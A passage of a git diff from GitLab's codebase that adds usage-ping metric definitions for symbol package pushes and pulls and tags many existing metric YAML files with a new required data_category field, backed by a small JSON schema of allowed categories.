+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_all/20210709211341_package_events_i_package_pull_symbol_package_by_user.yml b/config/metrics/counts_all/20210709211341_package_events_i_package_pull_symbol_package_by_user.yml
new file mode 100644
index 00000000000..08cae05ba79
--- /dev/null
+++ b/config/metrics/counts_all/20210709211341_package_events_i_package_pull_symbol_package_by_user.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_pull_symbol_package_by_user
+name: symbol_packages_pulled_by_user
+description: A count of symbol packages that have been pulled with by an authenticated user from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210709211439_package_events_i_package_push_symbol_package.yml b/config/metrics/counts_all/20210709211439_package_events_i_package_push_symbol_package.yml
new file mode 100644
index 00000000000..191beea4742
--- /dev/null
+++ b/config/metrics/counts_all/20210709211439_package_events_i_package_push_symbol_package.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_push_symbol_package
+name: symbol_packages_pushed
+description: A count of symbol packages that have been pushed to the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210709211636_package_events_i_package_push_symbol_package_by_deploy_token.yml b/config/metrics/counts_all/20210709211636_package_events_i_package_push_symbol_package_by_deploy_token.yml
new file mode 100644
index 00000000000..86b1ad50ace
--- /dev/null
+++ b/config/metrics/counts_all/20210709211636_package_events_i_package_push_symbol_package_by_deploy_token.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_push_symbol_package_by_deploy_token
+name: symbol_packages_pushed_by_deploy_token
+description: A count of symbol packages that have been pushed with a deploy token to the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210709211731_package_events_i_package_push_symbol_package_by_guest.yml b/config/metrics/counts_all/20210709211731_package_events_i_package_push_symbol_package_by_guest.yml
new file mode 100644
index 00000000000..268376a3912
--- /dev/null
+++ b/config/metrics/counts_all/20210709211731_package_events_i_package_push_symbol_package_by_guest.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_push_symbol_package_by_guest
+name: symbol_packages_pushed_by_guest
+description: A count of symbol packages that have been pushed by a guest to the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210709211831_package_events_i_package_push_symbol_package_by_user.yml b/config/metrics/counts_all/20210709211831_package_events_i_package_push_symbol_package_by_user.yml
new file mode 100644
index 00000000000..75e6d8cfa55
--- /dev/null
+++ b/config/metrics/counts_all/20210709211831_package_events_i_package_push_symbol_package_by_user.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_push_symbol_package_by_user
+name: symbol_packages_pushed_by_user
+description: A count of symbol packages that have been pushed by an authenticated user to the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/license/20210201124932_recorded_at.yml b/config/metrics/license/20210201124932_recorded_at.yml
index 88f27fff377..7a40498abea 100644
--- a/config/metrics/license/20210201124932_recorded_at.yml
+++ b/config/metrics/license/20210201124932_recorded_at.yml
@@ -1,4 +1,5 @@
---
+data_category: Standard
key_path: recorded_at
description: When the Usage Ping computation was started
product_section: growth
diff --git a/config/metrics/license/20210201124933_uuid.yml b/config/metrics/license/20210201124933_uuid.yml
index afad2cf540a..aab2b3a641c 100644
--- a/config/metrics/license/20210201124933_uuid.yml
+++ b/config/metrics/license/20210201124933_uuid.yml
@@ -11,6 +11,7 @@ milestone: "9.1"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1521
time_frame: none
data_source: database
+data_category: Standard
instrumentation_class: UuidMetric
distribution:
- ee
diff --git a/config/metrics/license/20210204124827_hostname.yml b/config/metrics/license/20210204124827_hostname.yml
index 40968500e13..27669c3f6c5 100644
--- a/config/metrics/license/20210204124827_hostname.yml
+++ b/config/metrics/license/20210204124827_hostname.yml
@@ -9,6 +9,7 @@ value_type: string
status: data_available
time_frame: none
data_source: system
+data_category: Standard
instrumentation_class: HostnameMetric
distribution:
- ce
diff --git a/config/metrics/license/20210204124829_active_user_count.yml b/config/metrics/license/20210204124829_active_user_count.yml
index 3987b6504f1..2fa311f119d 100644
--- a/config/metrics/license/20210204124829_active_user_count.yml
+++ b/config/metrics/license/20210204124829_active_user_count.yml
@@ -7,6 +7,7 @@ product_group: group::product intelligence
product_category: collection
value_type: string
status: data_available
+data_category: Subscription
time_frame: none
data_source: database
distribution:
diff --git a/config/metrics/license/20210204124928_version.yml b/config/metrics/license/20210204124928_version.yml
index 9aea9f8fde5..8323f5ea760 100644
--- a/config/metrics/license/20210204124928_version.yml
+++ b/config/metrics/license/20210204124928_version.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: gitaly.version
description: Version of Gitaly
product_section: growth
diff --git a/config/metrics/license/20210204124936_version.yml b/config/metrics/license/20210204124936_version.yml
index ef87a6ed9e6..2fe130ff780 100644
--- a/config/metrics/license/20210204124936_version.yml
+++ b/config/metrics/license/20210204124936_version.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: gitlab_pages.version
description: The version number of GitLab Pages
product_section: growth
diff --git a/config/metrics/license/20210204124938_recording_ce_finished_at.yml b/config/metrics/license/20210204124938_recording_ce_finished_at.yml
index d07580730c1..532a7861e46 100644
--- a/config/metrics/license/20210204124938_recording_ce_finished_at.yml
+++ b/config/metrics/license/20210204124938_recording_ce_finished_at.yml
@@ -1,4 +1,5 @@
---
+data_category: Standard
key_path: recording_ce_finished_at
description: When the core features were computed
product_section: growth
diff --git a/config/metrics/license/20210216175601_version.yml b/config/metrics/license/20210216175601_version.yml
index 5e5c1ad05ec..a3de7da331f 100644
--- a/config/metrics/license/20210216175601_version.yml
+++ b/config/metrics/license/20210216175601_version.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: version
description: Version of GitLab instance
product_section: enablement
diff --git a/config/metrics/license/20210216175602_installation_type.yml b/config/metrics/license/20210216175602_installation_type.yml
index 6e907b4a823..669f983a505 100644
--- a/config/metrics/license/20210216175602_installation_type.yml
+++ b/config/metrics/license/20210216175602_installation_type.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: installation_type
description: The installation method used to install GitLab (Omnibus, Helm, etc)
product_section: enablement
diff --git a/config/metrics/license/20210216181053_version.yml b/config/metrics/license/20210216181053_version.yml
index c267c2e9bca..a95dcd5c13f 100644
--- a/config/metrics/license/20210216181053_version.yml
+++ b/config/metrics/license/20210216181053_version.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: container_registry_server.version
description: Identifies the version of the external registry being used
product_section: ops
diff --git a/config/metrics/license/20210216183237_version.yml b/config/metrics/license/20210216183237_version.yml
index ff501697e95..33dc3c38a9c 100644
--- a/config/metrics/license/20210216183237_version.yml
+++ b/config/metrics/license/20210216183237_version.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: git.version
description: Information about Git version
product_section: enablement
diff --git a/config/metrics/objects_schemas/collected_data_categories_schema.json b/config/metrics/objects_schemas/collected_data_categories_schema.json
new file mode 100644
index 00000000000..c1ff96d3953
--- /dev/null
+++ b/config/metrics/objects_schemas/collected_data_categories_schema.json
@@ -0,0 +1,7 @@
+{
+ "type": "array",
+ "items": {
+ "type": ["string", "null"],
+ "enum": ["Standard", "Subscription", "Operational", "Optional"]
+ }
+}
diff --git a/config/metrics/schema.json b/config/metrics/schema.json
index 476e292e5c0..0ce5a163184 100644
--- a/config/metrics/schema.json
+++ b/config/metrics/schema.json
@@ -1,6 +1,6 @@
{
"type": "object",
- "required": ["key_path", "description", "value_type", "status", "product_group", "time_frame", "data_source", "distribution", "tier"],
+ "required": ["key_path", "description", "value_type", "status", "product_group", "time_frame", "data_source", "distribution", "tier", "data_category"],
"properties": {
"key_path": {
"type": "string"
diff --git a/config/metrics/settings/20210201124935_database_adapter.yml b/config/metrics/settings/20210201124935_database_adapter.yml
index 66a9e5fd52a..0a26d0afb68 100644
--- a/config/metrics/settings/20210201124935_database_adapter.yml
+++ b/config/metrics/settings/20210201124935_database_adapter.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: database.adapter
description: This metric only returns a value of PostgreSQL in supported versions of GitLab. It could be removed from the usage ping. Historically MySQL was also supported.
product_section: enablement
diff --git a/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml b/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml
index dc6db53f8ab..f1426cd220d 100644
--- a/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml
+++ b/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: instance_auto_devops_enabled
description: Whether auto DevOps is enabled
product_section: ops
diff --git a/config/metrics/settings/20210204124858_container_registry_enabled.yml b/config/metrics/settings/20210204124858_container_registry_enabled.yml
index 5cccb84ec10..4f5d2fde9e7 100644
--- a/config/metrics/settings/20210204124858_container_registry_enabled.yml
+++ b/config/metrics/settings/20210204124858_container_registry_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: container_registry_enabled
description: A count of projects where the container registry is enabled
product_section: ops
diff --git a/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml b/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml
index f06b89477a4..a567dd3bf51 100644
--- a/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml
+++ b/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: dependency_proxy_enabled
description: A count of projects where the dependency proxy is enabled
product_section: ops
diff --git a/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml b/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml
index 2b6f1d41413..d1737989b80 100644
--- a/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml
+++ b/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: gitlab_shared_runners_enabled
description: Whether shared runners is enabled
product_section: ops
diff --git a/config/metrics/settings/20210204124904_gravatar_enabled.yml b/config/metrics/settings/20210204124904_gravatar_enabled.yml
index a5ae02910c6..aa7d697acfd 100644
--- a/config/metrics/settings/20210204124904_gravatar_enabled.yml
+++ b/config/metrics/settings/20210204124904_gravatar_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: gravatar_enabled
description: Whether gravatar is enabled
product_section: dev
diff --git a/config/metrics/settings/20210204124906_ldap_enabled.yml b/config/metrics/settings/20210204124906_ldap_enabled.yml
index 589897fb15b..d1dcdaec106 100644
--- a/config/metrics/settings/20210204124906_ldap_enabled.yml
+++ b/config/metrics/settings/20210204124906_ldap_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: ldap_enabled
description: Whether LDAP is enabled
product_section: growth
diff --git a/config/metrics/settings/20210204124908_mattermost_enabled.yml b/config/metrics/settings/20210204124908_mattermost_enabled.yml
index 14303726d1f..ed72e557ad7 100644
--- a/config/metrics/settings/20210204124908_mattermost_enabled.yml
+++ b/config/metrics/settings/20210204124908_mattermost_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: mattermost_enabled
description: Whether Mattermost is enabled
product_section: dev
diff --git a/config/metrics/settings/20210204124910_omniauth_enabled.yml b/config/metrics/settings/20210204124910_omniauth_enabled.yml
index 67d1515abc5..2943913bcbb 100644
--- a/config/metrics/settings/20210204124910_omniauth_enabled.yml
+++ b/config/metrics/settings/20210204124910_omniauth_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: omniauth_enabled
description: Whether OmniAuth is enabled
product_section: growth
diff --git a/config/metrics/settings/20210204124912_prometheus_enabled.yml b/config/metrics/settings/20210204124912_prometheus_enabled.yml
index 0e8ce856858..bf33f8e4454 100644
--- a/config/metrics/settings/20210204124912_prometheus_enabled.yml
+++ b/config/metrics/settings/20210204124912_prometheus_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: prometheus_enabled
description: Whether the bundled Prometheus is enabled
product_section: growth
diff --git a/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml b/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
index 61b99f55452..df4a4f1edaa 100644
--- a/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
+++ b/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: prometheus_metrics_enabled
description: Whether Prometheus Metrics endpoint is enabled
product_section: growth
diff --git a/config/metrics/settings/20210204124916_reply_by_email_enabled.yml b/config/metrics/settings/20210204124916_reply_by_email_enabled.yml
index ba61de920de..35f834511b2 100644
--- a/config/metrics/settings/20210204124916_reply_by_email_enabled.yml
+++ b/config/metrics/settings/20210204124916_reply_by_email_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: reply_by_email_enabled
description: Whether incoming email is setup
product_section: dev
diff --git a/config/metrics/settings/20210204124918_signup_enabled.yml b/config/metrics/settings/20210204124918_signup_enabled.yml
index b63a571c6b9..40b16f33b0b 100644
--- a/config/metrics/settings/20210204124918_signup_enabled.yml
+++ b/config/metrics/settings/20210204124918_signup_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: signup_enabled
description: Whether public signup is enabled
product_section: dev
diff --git a/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml b/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml
index 80f247d9146..869f7c89483 100644
--- a/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml
+++ b/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: web_ide_clientside_preview_enabled
description: Whether Web IDE clientside preview is enabled
product_section: dev
diff --git a/config/metrics/settings/20210204124922_grafana_link_enabled.yml b/config/metrics/settings/20210204124922_grafana_link_enabled.yml
index c7e971f1a27..9660614bd46 100644
--- a/config/metrics/settings/20210204124922_grafana_link_enabled.yml
+++ b/config/metrics/settings/20210204124922_grafana_link_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: grafana_link_enabled
description: Whether Grafana is enabled
product_section: growth
diff --git a/config/metrics/settings/20210204124934_enabled.yml b/config/metrics/settings/20210204124934_enabled.yml
index def857192eb..24ba7606e08 100644
--- a/config/metrics/settings/20210204124934_enabled.yml
+++ b/config/metrics/settings/20210204124934_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: gitlab_pages.enabled
description: Whether GitLab Pages is enabled
product_section: growth
diff --git a/config/metrics/settings/20210216174829_smtp_server.yml b/config/metrics/settings/20210216174829_smtp_server.yml
index c3aa121a826..1b264834821 100644
--- a/config/metrics/settings/20210216174829_smtp_server.yml
+++ b/config/metrics/settings/20210216174829_smtp_server.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: mail.smtp_server
description: The value of the SMTP server that is used
product_section: growth
diff --git a/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml b/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
index a2552d1f465..603064a301d 100644
--- a/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
+++ b/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: ingress_modsecurity_enabled
description: Whether or not ModSecurity is enabled within Ingress
product_section: sec
diff --git a/config/metrics/settings/20210216175604_edition.yml b/config/metrics/settings/20210216175604_edition.yml
index 58d61ad5d88..6d5843b35f2 100644
--- a/config/metrics/settings/20210216175604_edition.yml
+++ b/config/metrics/settings/20210216175604_edition.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: edition
description: Edition of GitLab such as EE or CE
product_section: enablement
diff --git a/config/metrics/settings/20210216175606_ldap_encrypted_secrets_enabled.yml b/config/metrics/settings/20210216175606_ldap_encrypted_secrets_enabled.yml
index dfc7222ebcf..2cd0949c9f5 100644
--- a/config/metrics/settings/20210216175606_ldap_encrypted_secrets_enabled.yml
+++ b/config/metrics/settings/20210216175606_ldap_encrypted_secrets_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: settings.ldap_encrypted_secrets_enabled
description: Is encrypted LDAP secrets configured?
product_section: enablement
diff --git a/config/metrics/settings/20210216175609_version.yml b/config/metrics/settings/20210216175609_version.yml
index 378ae0e2ee4..468a8998637 100644
--- a/config/metrics/settings/20210216175609_version.yml
+++ b/config/metrics/settings/20210216175609_version.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: database.version
description: The version of the PostgreSQL database.
product_section: enablement
diff --git a/config/metrics/settings/20210216180314_gitpod_enabled.yml b/config/metrics/settings/20210216180314_gitpod_enabled.yml
index 72e13f785d4..71ceb75ab84 100644
--- a/config/metrics/settings/20210216180314_gitpod_enabled.yml
+++ b/config/metrics/settings/20210216180314_gitpod_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: gitpod_enabled
description: Whether Gitpod is enabled in the instance
product_section: dev
diff --git a/config/metrics/settings/20210216180836_enabled.yml b/config/metrics/settings/20210216180836_enabled.yml
index c5f7e230767..9a52788d2e3 100644
--- a/config/metrics/settings/20210216180836_enabled.yml
+++ b/config/metrics/settings/20210216180836_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.artifacts.enabled
description: Whether Object Storage is enabled for Artifacts
product_section: enablement
diff --git a/config/metrics/settings/20210216180838_enabled.yml b/config/metrics/settings/20210216180838_enabled.yml
index 3e5fbdf1acd..1e8c0bf8d30 100644
--- a/config/metrics/settings/20210216180838_enabled.yml
+++ b/config/metrics/settings/20210216180838_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.artifacts.object_store.enabled
description: Whether Object Storage is enabled for Artifacts
product_section: enablement
diff --git a/config/metrics/settings/20210216180840_direct_upload.yml b/config/metrics/settings/20210216180840_direct_upload.yml
index 4356fe775d8..a0859d7d5a6 100644
--- a/config/metrics/settings/20210216180840_direct_upload.yml
+++ b/config/metrics/settings/20210216180840_direct_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.artifacts.object_store.direct_upload
description: Whether Direct Upload for Object Storage is enabled for Artifacts
product_section: enablement
diff --git a/config/metrics/settings/20210216180841_background_upload.yml b/config/metrics/settings/20210216180841_background_upload.yml
index 4570a701b53..9386a1a8301 100644
--- a/config/metrics/settings/20210216180841_background_upload.yml
+++ b/config/metrics/settings/20210216180841_background_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.artifacts.object_store.background_upload
description: Whether Background Upload for Object Storage is enabled for Artifacts
product_section: enablement
diff --git a/config/metrics/settings/20210216180843_provider.yml b/config/metrics/settings/20210216180843_provider.yml
index fcaea534dab..2c9e074f9ef 100644
--- a/config/metrics/settings/20210216180843_provider.yml
+++ b/config/metrics/settings/20210216180843_provider.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.artifacts.object_store.provider
description: What Object Storage provider has been configured for Artifacts
product_section: enablement
diff --git a/config/metrics/settings/20210216180845_enabled.yml b/config/metrics/settings/20210216180845_enabled.yml
index dc29c7211fd..a9c33827861 100644
--- a/config/metrics/settings/20210216180845_enabled.yml
+++ b/config/metrics/settings/20210216180845_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.external_diffs.enabled
description: Whether Object Storage is enabled for External Diffs
product_section: enablement
diff --git a/config/metrics/settings/20210216180847_enabled.yml b/config/metrics/settings/20210216180847_enabled.yml
index c5be296e19f..ca404dc8b66 100644
--- a/config/metrics/settings/20210216180847_enabled.yml
+++ b/config/metrics/settings/20210216180847_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.external_diffs.object_store.enabled
description: Whether Object Storage is enabled for External Diffs
product_section: enablement
diff --git a/config/metrics/settings/20210216180849_direct_upload.yml b/config/metrics/settings/20210216180849_direct_upload.yml
index cdce6e0329c..37e77067336 100644
--- a/config/metrics/settings/20210216180849_direct_upload.yml
+++ b/config/metrics/settings/20210216180849_direct_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.external_diffs.object_store.direct_upload
description: Whether Direct Upload for Object Storage is enabled for External Diffs
product_section: enablement
diff --git a/config/metrics/settings/20210216180851_background_upload.yml b/config/metrics/settings/20210216180851_background_upload.yml
index 67852d9f039..5c231d544bf 100644
--- a/config/metrics/settings/20210216180851_background_upload.yml
+++ b/config/metrics/settings/20210216180851_background_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.external_diffs.object_store.background_upload
description: Whether Background Upload for Object Storage is enabled for External
Diffs
diff --git a/config/metrics/settings/20210216180852_provider.yml b/config/metrics/settings/20210216180852_provider.yml
index 5c843969510..8675e023caf 100644
--- a/config/metrics/settings/20210216180852_provider.yml
+++ b/config/metrics/settings/20210216180852_provider.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.external_diffs.object_store.provider
description: What Object Storage provider has been configured for External Diffs
product_section: enablement
diff --git a/config/metrics/settings/20210216180854_enabled.yml b/config/metrics/settings/20210216180854_enabled.yml
index 40656fdfe2c..51aebd0f029 100644
--- a/config/metrics/settings/20210216180854_enabled.yml
+++ b/config/metrics/settings/20210216180854_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.lfs.enabled
description: Whether Object Storage is enabled for LFS
product_section: enablement
diff --git a/config/metrics/settings/20210216180856_enabled.yml b/config/metrics/settings/20210216180856_enabled.yml
index 1892882d5bb..842a6042ae6 100644
--- a/config/metrics/settings/20210216180856_enabled.yml
+++ b/config/metrics/settings/20210216180856_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.lfs.object_store.enabled
description: Whether Object Storage is enabled for LFS
product_section: enablement
diff --git a/config/metrics/settings/20210216180858_direct_upload.yml b/config/metrics/settings/20210216180858_direct_upload.yml
index f2b11a4e4a7..c2d680102e6 100644
--- a/config/metrics/settings/20210216180858_direct_upload.yml
+++ b/config/metrics/settings/20210216180858_direct_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.lfs.object_store.direct_upload
description: Whether Direct Upload for Object Storage is enabled for LFS
product_section: enablement
diff --git a/config/metrics/settings/20210216180900_background_upload.yml b/config/metrics/settings/20210216180900_background_upload.yml
index 9cb4e2ed10e..9d4b16ba441 100644
--- a/config/metrics/settings/20210216180900_background_upload.yml
+++ b/config/metrics/settings/20210216180900_background_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.lfs.object_store.background_upload
description: Whether Background Upload for Object Storage is enabled for LFS
product_section: enablement
diff --git a/config/metrics/settings/20210216180902_provider.yml b/config/metrics/settings/20210216180902_provider.yml
index 2e9e11b9301..1ec1949ef11 100644
--- a/config/metrics/settings/20210216180902_provider.yml
+++ b/config/metrics/settings/20210216180902_provider.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.lfs.object_store.provider
description: What Object Storage provider has been configured for LFS
product_section: enablement
diff --git a/config/metrics/settings/20210216180903_enabled.yml b/config/metrics/settings/20210216180903_enabled.yml
index 7c7f4f7bf57..7ebcbd04837 100644
--- a/config/metrics/settings/20210216180903_enabled.yml
+++ b/config/metrics/settings/20210216180903_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.uploads.enabled
description: Whether Object Storage is enabled for Uploads
product_section: enablement
diff --git a/config/metrics/settings/20210216180905_enabled.yml b/config/metrics/settings/20210216180905_enabled.yml
index fa5d70567e8..f967861ae0b 100644
--- a/config/metrics/settings/20210216180905_enabled.yml
+++ b/config/metrics/settings/20210216180905_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.uploads.object_store.enabled
description: Whether Object Storage is enabled for Uploads
product_section: enablement
diff --git a/config/metrics/settings/20210216180907_direct_upload.yml b/config/metrics/settings/20210216180907_direct_upload.yml
index 8d2523f2e8f..ca8cfa003c3 100644
--- a/config/metrics/settings/20210216180907_direct_upload.yml
+++ b/config/metrics/settings/20210216180907_direct_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.uploads.object_store.direct_upload
description: Whether Direct Upload for Object Storage is enabled for Uploads
product_section: enablement
diff --git a/config/metrics/settings/20210216180909_background_upload.yml b/config/metrics/settings/20210216180909_background_upload.yml
index 466c630717b..783baa1f30d 100644
--- a/config/metrics/settings/20210216180909_background_upload.yml
+++ b/config/metrics/settings/20210216180909_background_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.uploads.object_store.background_upload
description: Whether Background Upload for Object Storage is enabled for Uploads
product_section: enablement
diff --git a/config/metrics/settings/20210216180911_provider.yml b/config/metrics/settings/20210216180911_provider.yml
index 75e5cda1f2b..4066f83afdb 100644
--- a/config/metrics/settings/20210216180911_provider.yml
+++ b/config/metrics/settings/20210216180911_provider.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.uploads.object_store.provider
description: What Object Storage provider has been configured for Uploads
product_section: enablement
diff --git a/config/metrics/settings/20210216180913_enabled.yml b/config/metrics/settings/20210216180913_enabled.yml
index 806be543ad2..e19001746d8 100644
--- a/config/metrics/settings/20210216180913_enabled.yml
+++ b/config/metrics/settings/20210216180913_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.packages.enabled
description: Whether Object Storage is enabled for Uploads
product_section: enablement
diff --git a/config/metrics/settings/20210216180915_enabled.yml b/config/metrics/settings/20210216180915_enabled.yml
index fb16bfe1e48..0cb84815e26 100644
--- a/config/metrics/settings/20210216180915_enabled.yml
+++ b/config/metrics/settings/20210216180915_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.packages.object_store.enabled
description: Whether Object Storage is enabled for Packages
product_section: enablement
diff --git a/config/metrics/settings/20210216180916_direct_upload.yml b/config/metrics/settings/20210216180916_direct_upload.yml
index f743723e6c3..41adb02d6c6 100644
--- a/config/metrics/settings/20210216180916_direct_upload.yml
+++ b/config/metrics/settings/20210216180916_direct_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.packages.object_store.direct_upload
description: Whether Direct Upload for Object Storage is enabled for Packages
product_section: enablement
diff --git a/config/metrics/settings/20210216180918_background_upload.yml b/config/metrics/settings/20210216180918_background_upload.yml
index ede74fba29e..9c5ded4f956 100644
--- a/config/metrics/settings/20210216180918_background_upload.yml
+++ b/config/metrics/settings/20210216180918_background_upload.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.packages.object_store.background_upload
description: Whether Background Upload for Object Storage is enabled for Packages
product_section: enablement
diff --git a/config/metrics/settings/20210216180920_provider.yml b/config/metrics/settings/20210216180920_provider.yml
index 4f94e0d07bc..da5d1dc0c1b 100644
--- a/config/metrics/settings/20210216180920_provider.yml
+++ b/config/metrics/settings/20210216180920_provider.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: object_store.packages.object_store.provider
description: What Object Storage provider has been configured for Packages
product_section: enablement
diff --git a/config/metrics/settings/20210216183241_filesystems.yml b/config/metrics/settings/20210216183241_filesystems.yml
index 3585fda1771..242f2818ac6 100644
--- a/config/metrics/settings/20210216183241_filesystems.yml
+++ b/config/metrics/settings/20210216183241_filesystems.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: gitaly.filesystems
description: ''
product_section: ''
diff --git a/config/metrics/settings/20210216183248_pg_system_id.yml b/config/metrics/settings/20210216183248_pg_system_id.yml
index 28905c62ce0..19b920ea7e3 100644
--- a/config/metrics/settings/20210216183248_pg_system_id.yml
+++ b/config/metrics/settings/20210216183248_pg_system_id.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: database.pg_system_id
description: TBD
product_section: enablement
diff --git a/config/metrics/settings/20210225045628_operating_system.yml b/config/metrics/settings/20210225045628_operating_system.yml
index 41b65a1bd6a..6f1cd9be724 100644
--- a/config/metrics/settings/20210225045628_operating_system.yml
